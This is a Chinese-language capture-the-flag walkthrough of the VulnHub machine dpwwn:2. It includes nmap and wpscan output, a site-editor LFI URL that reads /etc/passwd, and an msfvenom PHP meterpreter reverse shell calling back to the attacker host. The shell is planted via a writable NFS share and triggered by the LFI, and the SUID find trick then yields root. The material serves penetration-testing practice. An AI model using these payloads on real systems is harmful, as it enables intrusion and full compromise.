dpwwn: 2靶机攻略

dpwwn: 2靶机攻略

https://blog.csdn.net/Perpetual_Blue/article/details/124265449

https://www.cnblogs.com/hirak0/articles/16086293.html

https://blog.csdn.net/2302_76838247/article/details/144165492链接

https://www.vulnhub.com/entry/dpwwn-2,343/下载地址

1.主机探测

arp-scan -I eth0 192.168.100.0/24 nmap -sn 192.168.100.0/24

目标机器为192.168.100.133

masscan 192.168.100.0/24 -p 80 masscan 擅长整段网段快速扫存活端口; nmap 擅长单主机深度指纹、漏洞探测;二者通常搭配使用。

netdiscover -i eth0 -r 192.168.100.0/24

2.端口扫描

nmap -A 192.168.100.133
nmap -A 192.168.100.133 Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-22 06:10 EDT Nmap scan report for 192.168.100.133 Host is up (0.00026s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Ubuntu)) |_http-title: dpwwn-02 |_http-server-header: Apache/2.4.38 (Ubuntu) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 3 2049/udp nfs | 100003 3 2049/udp6 nfs | 100003 3,4 2049/tcp nfs | 100003 3,4 2049/tcp6 nfs | 100005 1,2,3 37621/udp6 mountd | 100005 1,2,3 39296/udp mountd | 100005 1,2,3 47827/tcp6 mountd | 100005 1,2,3 55019/tcp mountd | 100021 1,3,4 37693/tcp6 nlockmgr | 100021 1,3,4 42669/udp6 nlockmgr | 100021 1,3,4 45241/tcp nlockmgr | 100021 1,3,4 60520/udp nlockmgr | 100227 3 2049/tcp nfs_acl | 100227 3 2049/tcp6 nfs_acl | 100227 3 2049/udp nfs_acl |_ 100227 3 2049/udp6 nfs_acl 443/tcp open http Apache httpd 2.4.38 ((Ubuntu)) |_http-server-header: Apache/2.4.38 (Ubuntu) |_http-title: dpwwn-02 2049/tcp open nfs 3-4 (RPC #100003) MAC Address: 00:0C:29:49:B7:FB (VMware) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.26 ms 192.168.100.133 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.23 seconds

80/tcp open http Apache httpd 2.4.38 ((Ubuntu))

111/tcp open rpcbind 2-4 (RPC #100000)

443/tcp open http Apache httpd 2.4.38 ((Ubuntu))

2049/tcp open nfs 3-4 (RPC #100003)

访问80端口

查看源代码里面什么也没有

3.目录探测

dirsearch -u http://192.168.100.133

那么我们访问192.168.100.133/wordpress/wp-login.php

发现一个登录页面

wpscan漏洞扫描

使用wpscan扫描漏洞:

wpscan --url http://192.168.100.133/wordpress/

发现一个插件:site-editor
扫描漏洞:searchsploit site editor 1.1.1

http://192.168.100.133/wp-content/plugins/site- editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php? ajax_path=/etc/passwd

正常来说可以 只是这个靶机没有site-editor插件 所有漏洞利用不了 也正常 我也没有扫描到 但是思路要有

2049端口服务 渗透

NFS(Network File System)是一种常见的网络文件共享协议,允许在网络上的计算机之间共享文件夹和目录

记得之前端口扫描的结果里有nfs服务,首先查看共享路径,

showmount --exports 192.168.100.133

创建本地目录,mkdir dpwwn02

把靶机的共享路径mount到本地目录

sudo mount -t nfs 192.168.100.133:/home/dpwwn02 --target dpwwn02

-t nfs:指定文件系统的类型为 NFS(网络文件系统)。NFS允许通过网络访问远程文件系统。 --target 参数 指定本地系统上的挂载点。 双向同步,你这边写,靶机立刻同步生成 NFS 的作用不是偷现有文件 获得靶机服务器可写本地路径,把木马丢进服务器本地, 再通过文件包含漏洞远程执行木马拿 shell,文件夹里原本有没有东西完全不影响。

本地创建一个反弹shell脚本,

eg:windows/meterpreter/reverse_tcp:Windows 系统 exe 木马 linux/x64/meterpreter/reverse_tcp:Linux64 位 elf 木马

这种的需要终端点击

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.100.128 LPORT=4444 R > shell.php 漏洞载体是 WordPress,WP 完全基于 PHP 开发 是 PHP 脚本,丢网站目录,浏览器访问网页时, Apache+PHP 引擎自动解析执行,网页层面直接触发反弹,专门用来从 Web 漏洞拿第一波权限。

复制到共享路径mount的目录,sudo cp shell.php dpwwn02/

本地再开一个监听

msfconsole

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set LHOST 192.168.100.128

exploit

访问这个链接就会反弹shell

http://10.10.10.10/wordpress/wp-content/plugins/site-editor /editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/home/dpwwn02/shell.php 因为nfs2049端口共享协议 我把我的木马映射到了靶机中的服务器中 一打开自动解析

拿到shell 只是我忘记了 meterpreter 需要shell 在输入bash命令了

应该getgid 有效组 ID

getuid有效用户 ID(当前程序运行身份

suid提权

find / -perm -u=s -type f 2>/dev/null /usr/bin/fusermount /usr/bin/passwd /usr/bin/chsh /usr/bin/umount /usr/bin/find /usr/bin/sudo /usr/bin/mount /usr/bin/at /usr/bin/chfn /usr/bin/su /usr/bin/newgrp /usr/bin/gpasswd /usr/lib/snapd/snap-confine /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/sbin/mount.nfs /snap/core/17292/bin/mount /snap/core/17292/bin/ping /snap/core/17292/bin/ping6 /snap/core/17292/bin/su /snap/core/17292/bin/umount /snap/core/17292/usr/bin/chfn /snap/core/17292/usr/bin/chsh /snap/core/17292/usr/bin/gpasswd /snap/core/17292/usr/bin/newgrp /snap/core/17292/usr/bin/passwd /snap/core/17292/usr/bin/sudo /snap/core/17292/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/17292/usr/lib/openssh/ssh-keysign /snap/core/17292/usr/lib/snapd/snap-confine /snap/core/17292/usr/sbin/pppd

find . -exec /bin/sh -p \; -quit

信息收集:网段存活探测、端口扫描,发现 80 端口 WordPress、2049 NFS 共享两条主线;

Web 踩坑:WPScan 枚举无 site-editor 插件,放弃插件 LFI 路线,转 NFS 突破口;

NFS 利用:本地挂载靶机共享目录,写入 PHP 反弹马,靠文件包含远程执行拿到 www-data 权限;

权限提升:枚举 SUID 程序发现 find 带 root SUID,用find -exec /bin/sh -p直接溢出 root;